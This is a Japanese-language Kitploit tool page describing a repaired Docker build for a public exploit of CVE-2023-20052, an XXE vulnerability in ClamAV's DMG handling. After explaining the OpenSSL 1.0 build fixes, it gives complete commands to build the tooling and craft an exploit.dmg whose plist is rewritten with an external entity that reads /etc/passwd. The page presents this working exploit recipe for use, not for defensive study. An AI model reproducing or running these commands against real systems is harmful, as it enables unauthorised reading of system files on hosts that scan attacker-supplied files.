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CVE-2023-20052 | Kitploit
ツール/GitHubGitHub/mohitsinghpapola/cve-2023-20052
脆弱性分析エクスプロイトウェブアプリケーション悪用ファジングマルウェア分析バイナリ解析
GitHubmohitsinghpapola/cve-2023-20052

CVE-2023-20052

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6ヶ月前未レビュー

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CVE-2023-20052 エクスプロイト - 修正ビルド

実際にコンパイルが通る、CVE-2023-20052 (ClamAV XXE 脆弱性) 用の修正済み Docker ビルド。

壊れていた点

元のエクスプロイトは現代のシステムではビルドに失敗します:

  • ❌ OpenSSL 3.0 互換性エラー
  • ❌ HMAC_CTX 構造体の不完全型エラー
  • ❌ 暗黙の関数宣言エラー
  • ❌ dmg/filevault.c のコンパイルでビルド失敗

修正した内容

  1. ベースイメージを変更: Ubuntu 22.04 → Ubuntu 18.04
  2. OpenSSL バージョンを修正: libssl1.0-dev (OpenSSL 1.0) を使用
  3. 非対話モードを追加: ビルド時のプロンプトを防止
  4. 動作する Dockerfile: 実際に正常にコンパイルできる

これが機能する理由

libdmg-hfsplus は非推奨の OpenSSL 1.0 関数を使用しています:

  • HMAC_CTX_init() / HMAC_CTX_cleanup() (OpenSSL 1.1+ で削除)
  • HMAC_CTX 構造体の直接使用 (OpenSSL 1.1+ では不透明)

Ubuntu 18.04 は OpenSSL 1.0 をサポートする最後の LTS です。

ビルドと使用方法

root@kitploit:~
# Build (takes ~3-5 minutes)
docker build -t cve-2023-20052 .

# Run
docker run -v $(pwd):/exploit -it cve-2023-20052 bash

# Create exploit DMG
genisoimage -D -V "exploit" -no-pad -r -apple -o test.img .
dmg dmg test.img test.dmg
bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>|' -e 's/blkx/&xxe;/' test.dmg -o exploit.dmg

クレジット

  • 元のエクスプロイト: nokn0wthing/CVE-2023-20052
  • 修正者: https://reapsec.com
root@kitploit:~
## CVE-2023-20052 (ClamAV XXE) 用の修正済み Docker ビルド - OpenSSL 3.0 のコンパイルエラーを解決。libdmg-hfsplus との互換性のために Ubuntu 18.04 と OpenSSL 1.0 を使用
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